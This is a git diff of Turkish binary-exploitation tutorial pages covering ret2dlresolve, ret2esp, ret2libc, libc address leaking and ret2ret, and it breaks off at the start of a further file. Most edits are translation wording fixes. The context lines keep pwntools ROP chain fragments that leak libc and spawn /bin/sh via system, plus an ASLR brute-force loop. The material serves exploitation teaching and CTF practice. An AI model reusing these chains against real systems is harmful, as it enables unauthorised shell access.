216540502..fdc7537eb 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md @@ -10,7 +10,7 @@ Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) sahte yapılarla yapılması mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak mümkündür (örneğin **`system('/bin/sh')`**). -Genellikle, bu yapıların tamamı, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri, **`_dl_runtime_resolve`** fonksiyonunu `$'/bin/sh'` adresi ile çağırarak devam eder. +Genellikle, bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri, **`_dl_runtime_resolve`** fonksiyonunu `$'/bin/sh'` adresi ile çağırarak devam eder. > [!TIP] > Bu teknik, özellikle syscall gadget'ları yoksa (örneğin [**ret2syscall**](rop-syscall-execv.md) veya [SROP](srop-sigreturn-oriented-programming.md) gibi teknikler kullanmak için) ve libc adreslerini sızdırmanın yolları yoksa faydalıdır. @@ -21,7 +21,7 @@ Bu teknik hakkında daha iyi bir açıklamayı videonun ikinci yarısında bulab ## Yapılar -3 yapıyı sahte hale getirmek gereklidir: **`JMPREL`**, **`STRTAB`** ve **`SYMTAB`**. Bu yapıların nasıl oluşturulduğu hakkında daha iyi bir açıklama [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) adresinde bulunmaktadır. +3 yapıyı sahte hale getirmek gereklidir: **`JMPREL`**, **`STRTAB`** ve **`SYMTAB`**. Bu yapıların nasıl oluşturulduğu hakkında daha iyi bir açıklama için [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) adresine bakabilirsiniz. ## Saldırı Özeti @@ -33,7 +33,7 @@ Bu teknik hakkında daha iyi bir açıklamayı videonun ikinci yarısında bulab ## Örnek -Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar: +Bu tekniğin [**örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **ve son ROP zincirinin çok iyi bir açıklamasını içermektedir**, ancak burada kullanılan son istismar: ```python from pwn import * diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md index 7def3f69a..1121c4d2c 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md @@ -4,7 +4,7 @@ ## **Ret2esp** -**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere. +**Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder**, bu teknik EIP'yi (Talimat Göstergesi) **`jmp esp`** veya **`call esp`** talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. `ret` talimatı çalıştığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere. Eğer **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan `jmp esp` veya `call esp` talimatlarını kullanmak mümkündür. Ancak, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve [**PIE**](../common-binary-protections-and-bypasses/pie/) ile başa çıkmanız gerekebilir). diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md index 35c493317..1549af004 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md @@ -4,12 +4,12 @@ ## **Temel Bilgiler** -**Ret2Libc**'nin özü, bir zayıf programın yürütme akışını, saldırgan tarafından sağlanan shellcode'u yığın üzerinde çalıştırmak yerine, bir paylaşımlı kütüphanedeki (örneğin, **system**, **execve**, **strcpy**) bir fonksiyona yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane fonksiyonuna işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur. +**Ret2Libc**'nin özü, bir zayıf programın yürütme akışını, saldırgan tarafından sağlanan shellcode'u yığın üzerinde çalıştırmak yerine, bir paylaşımlı kütüphanedeki (örneğin, **system**, **execve**, **strcpy**) bir işleve yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane işlevine işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur. ### **Örnek Adımlar (basitleştirilmiş)** -- Çağrılacak fonksiyonun adresini (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh) alın -- İlk argümanı komut dizesine işaret eden ve yürütme akışını fonksiyona iletmek için bir ROP zinciri oluşturun +- Çağrılacak işlevin adresini (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh) alın +- İlk argümanı komut dizesine işaret eden ve yürütme akışını işleve iletmek için bir ROP zinciri oluşturun ## Adresleri Bulma @@ -45,11 +45,11 @@ Burada **libc'nin süreç içinde tam olarak nerede yüklü olduğunu** ve **her ![](<../../../../images/image (95).png>) -Bu durumda **0xb75dc000** adresinde yüklenmiştir (Bu libc'nin temel adresi olacaktır). +Bu durumda **0xb75dc000** adresinde yüklenmiştir (Bu libc'nin temel adresi olacaktır) ## Bilinmeyen libc -Binariesinin yüklediği **libc'yi bilmemek** mümkün olabilir (çünkü erişiminiz olmayan bir sunucuda bulunabilir). Bu durumda, **bazı adresleri sızdırmak ve hangi libc** kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz: +Binariesinin yüklediği **libc'yi bilmemek** mümkün olabilir (çünkü erişiminizin olmadığı bir sunucuda bulunabilir). Bu durumda, **bazı adresleri sızdırmak ve hangi libc** kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz: {{#ref}} rop-leaking-libc-address/ @@ -69,7 +69,7 @@ Bu kaba kuvvet saldırıları **yalnızca 32 bit sistemler için** faydalıdır. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- Uzak bir sunucuya saldırıyorsanız, **`usleep` `libc` fonksiyonunun adresini brute-force ile bulmayı** deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur. +- Eğer uzaktaki bir sunucuya saldırıyorsanız, **`usleep` `libc` fonksiyonunun adresini brute-force ile bulmayı** deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur. ## One Gadget @@ -79,7 +79,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000): ## x86 Ret2lib Kod Örneği -Bu örnekte ASLR brute-force kodun içine entegre edilmiştir ve savunmasız ikili dosya uzak bir sunucuda bulunmaktadır: +Bu örnekte ASLR brute-force kodda entegre edilmiştir ve savunmasız ikili dosya uzaktaki bir sunucuda bulunmaktadır: ```python from pwn import * @@ -109,7 +109,7 @@ Bu, `printf`/`puts`'i belirli verilerle argüman olarak çağırarak **işlemden ## Ret2printf -Bu, temel olarak **Ret2lib'i kötüye kullanarak `printf` format dizeleri zafiyeti** haline dönüştürmek anlamına gelir; `ret2lib` kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünüyor ama mümkün): +Bu, temel olarak **Ret2lib'i bir `printf` format dizesi zafiyeti haline dönüştürmek için kötüye kullanmak** anlamına gelir; `ret2lib` kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünüyor ama mümkün): {{#ref}} ../../format-strings/ @@ -118,11 +118,11 @@ Bu, temel olarak **Ret2lib'i kötüye kullanarak `printf` format dizeleri zafiye ## Diğer Örnekler ve referanslar - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -- Ret2lib, libc'deki bir fonksiyonun adresine sızdırma yapıldığında, bir gadget kullanarak +- Ret2lib, libc'deki bir fonksiyonun adresine sızdırma yaparak, bir gadget kullanarak - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - 64 bit, ASLR etkin ama PIE yok, ilk adım, puts'u çağırmak ve sızdırmak için kanaryanın 0x00 baytına kadar bir taşmayı doldurmaktır. Kanarya ile puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı oluşturulur ve ardından `system('/bin/sh')` çağıran bir ROP gadget'ı. - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bit, ASLR etkin, kanarya yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırır. +- 64 bit, ASLR etkin, kanarya yok, bir çocuk fonksiyondan main'de yığın taşması. Puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırır. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - 64 bit, pie yok, kanarya yok, relro yok, nx. Yazma fonksiyonunu kullanarak yazmanın (libc) adresini sızdırır ve bir gadget çağırır. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md index cd06e40d1..86d33e497 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md @@ -9,14 +9,14 @@ 3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me)) 4. Kütüphane ile, **ROP'u hesapla ve istismar et** -## Pratik yapmak için diğer eğitimler ve ikili dosyalar +## Pratik için diğer eğitimler ve ikili dosyalar Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ Diğer yararlı eğitimler: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) ## Kod -Dosya Adı: `vuln.c` +Dosya adı: `vuln.c` ```c #include @@ -35,7 +35,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie ## ROP - LIBC Sızıntı Şablonu Saldırıyı gerçekleştirmek için burada bulunan kodu kullanacağım.\ -Saldırıyı indirip, savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin: +Saldırıyı indirin ve bunu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin: {{#ref}} rop-leaking-libc-template.md @@ -58,7 +58,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**Çalıştırın** `python template.py`, bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolunda** `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** alın. Son olarak, bir **python** konsolu kullanarak **offset** değerini alın: +**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolunda** `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al: ```python from pwn import * cyclic_find(0x6161616b) @@ -84,14 +84,14 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` `PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\ -`MAIN_PLT`, bir etkileşimden sonra **overflow**'u **tekrar** **istismar** etmek için **ana fonksiyonu** tekrar çağırmak için gereklidir (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\ +`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\ **POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir. Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır. ## 3- libc kütüphanesini bulma -Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız. +Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından o adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -125,21 +125,21 @@ Bunu yapmak için, yürütülen kodun en önemli satırı şudur: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\ -Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydına kaydedilecektir. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ -Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki **içeriği** **okuyacak** (**puts fonksiyonunun bellek içindeki adresi**) ve **bunu yazdıracaktır**.\ +Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ +Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki içeriği (**puts fonksiyonunun bellek içindeki adresi**) **okuyacak** ve **yazdıracaktır**.\ Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz. -Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması için kandırdık** **bellek** içindeki **puts** fonksiyonunun **adresini** (bu **libc** kütüphanesinin içindedir). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. +Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesi içindeki **puts** fonksiyonunun bellek içindeki adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. ![](<../../../../../images/image (141).png>) -Bazı **yerel** ikili dosyaları **istismar ettiğimiz** için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bul).\ +**Yerel** bir ikiliyi **istismar** ettiğimiz için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bulmak yeterlidir).\ Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım: ### 3.1- libc sürümünü arama (1) Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: [https://libc.blukat.me/](https://libc.blukat.me)\ -Ayrıca, keşfedilen **libc** sürümünü indirmenize de olanak tanıyacaktır. +Ayrıca, keşfedilen **libc** sürümünü indirmenize de olanak tanır. ![](<../../../../../images/image (142).png>) @@ -157,13 +157,13 @@ Bunun çalışması için şunlara ihtiyacımız var: - Libc sembol adı: `puts` - Sızdırılan libc adresi: `0x7ff629878690` -Hangi **libc**'nin muhtemelen kullanıldığını anlayabiliriz. +Hangi **libc**'nin muhtemelen kullanıldığını belirleyebiliriz. ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` -2 eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin: +İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 @@ -182,15 +182,15 @@ __libc_start_main read gets ``` -## 4- Bulunma temelli libc adresi ve istismar +## 4- Bulunma tabanlı libc adresi ve istismar Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` -Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şuna değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın` +Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şu şekilde değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın` -**libc kütüphanesine** **yolu** vererek, geri kalan **istismar otomatik olarak hesaplanacak**. +**libc kütüphanesine** **yolu** vererek, **istismarın geri kalanı otomatik olarak hesaplanacaktır**. -`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacak: +`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacaktır: ```python if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base @@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address)) > [!NOTE] > **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz. -Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesine** verilecektir. +Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc**'nin **temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -208,7 +208,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` -Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek: +Sonunda, /bin/sh yürütme istismarı hazırlanacak. ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -219,17 +219,17 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Son ROP'u açıklayalım.\ -Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"** (_BINSH_) adresine işaret eden `POP_RDI`'yi çağırmak istiyoruz ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçilecektir.\ -Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde çıkar** ve herhangi bir uyarı üretilmez. +Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **overflow**'u **yeniden istismar edebiliriz** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"**'nin **adresine** işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü **"/bin/sh"**'nin adresi bir parametre olarak geçecektir.\ +Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde** **sonlanır** ve herhangi bir uyarı üretilmez. **Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\* ![](<../../../../../images/image (143).png>) -## 4(2)- ONE_GADGET KULLANARAK +## 4(2)- ONE_GADGET KULLANMA -Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ -Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. +Ayrıca, **system** ve **"/bin/sh"** kullanmak yerine bir shell elde etmek için [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanabilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ +Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. ![](<../../../../../images/image (615).png>) ```python diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index a35cfdc48..43711e9c9 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -204,7 +204,7 @@ Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etme Eğer **tüm** istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` -**"/bin/sh" adresine 64 byte çıkarmayı** deneyin: +**"/bin/sh" adresinden 64 bayt çıkarmayı** deneyin: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md index 45d405626..d68ab333c 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md @@ -6,9 +6,9 @@ Bu tekniğin ana hedefi, **stack'teki mevcut bir işaretçiyi kötüye kullanarak ASLR'yi atlatmaya çalışmaktır**. -Temelde, stack taşmaları genellikle dizelerden kaynaklanır ve **dizeler bellekte sonlarında bir null byte ile biter**. Bu, stack'te zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmayı denemeye olanak tanır. Yani eğer stack `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'a dönüştürebilir (son sıfırlı byte'a dikkat edin). +Temelde, stack taşmaları genellikle dizelerden kaynaklanır ve **dizeler bellekte sonlarında bir null byte ile biter**. Bu, stack'te zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmayı denemeye olanak tanır. Yani eğer stack `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'a dönüştürebilir (son sıfırlanmış byte'a dikkat edin). -Eğer bu adres stack'teki shellcode'umuza işaret ediyorsa, akışı o adrese ulaştırmak mümkündür; **`ret` talimatına adresler ekleyerek** bu adrese ulaşana kadar devam edilebilir. +Eğer bu adres stack'teki shellcode'umuza işaret ediyorsa, akışı o adrese ulaştırmak mümkündür **`ret` talimatına adresler ekleyerek** bu adres ulaşılana kadar. Bu nedenle saldırı şöyle olacaktır: @@ -17,14 +17,14 @@ Bu nedenle saldırı şöyle olacaktır: - EIP'den stack'i **`ret` adresleri ile üzerine yazmak** (RET sled) - 0x00, stack'teki bir adresi değiştirerek NOP sled'e işaret etmesini sağlamak için dize tarafından eklenir -[**bu bağlantıya**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) bakarak savunmasız bir ikili örneğini görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) ise istismarı görebilirsiniz. +[**bu bağlantıya**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) bakarak savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) ise istismarı görebilirsiniz. ## Ret2pop -Eğer **değiştirmek istemediğiniz stack'te mükemmel bir işaretçi bulursanız** (ret2ret'te son en düşük byte'ı `0x00` olarak değiştiriyoruz), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET sled'in uzunluğu 1 azaltılmalıdır** (böylece son `0x00`, mükemmel işaretçinin hemen öncesindeki veriyi üzerine yazar) ve **RET sled'in son** adresi **`pop ; ret`**'e işaret etmelidir.\ -Bu şekilde, **mükemmel işaretçiden önceki veri** stack'ten kaldırılacaktır (bu, `0x00` tarafından etkilenen veridir) ve **son `ret`, stack'teki mükemmel adrese** herhangi bir değişiklik olmadan işaret edecektir. +Eğer **değiştirmek istemediğiniz stack'te mükemmel bir işaretçi bulursanız** (ret2ret'te son en düşük byte'ı `0x00` olarak değiştiriyoruz), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET sled'in uzunluğu 1 azaltılmalıdır** (böylece son `0x00` mükemmel işaretçinin hemen öncesindeki veriyi üzerine yazar) ve **RET sled'in son** adresi **`pop ; ret`**'e işaret etmelidir.\ +Bu şekilde, **mükemmel işaretçiden önceki veri stack'ten kaldırılacaktır** (bu `0x00` tarafından etkilenen veridir) ve **son `ret`, stack'teki mükemmel adrese herhangi bir değişiklik olmadan işaret edecektir**. -[**bu bağlantıya**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) bakarak savunmasız bir ikili örneğini görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) ise istismarı görebilirsiniz. +[**bu bağlantıya**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) bakarak savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) ise istismarı görebilirsiniz. ## References diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md 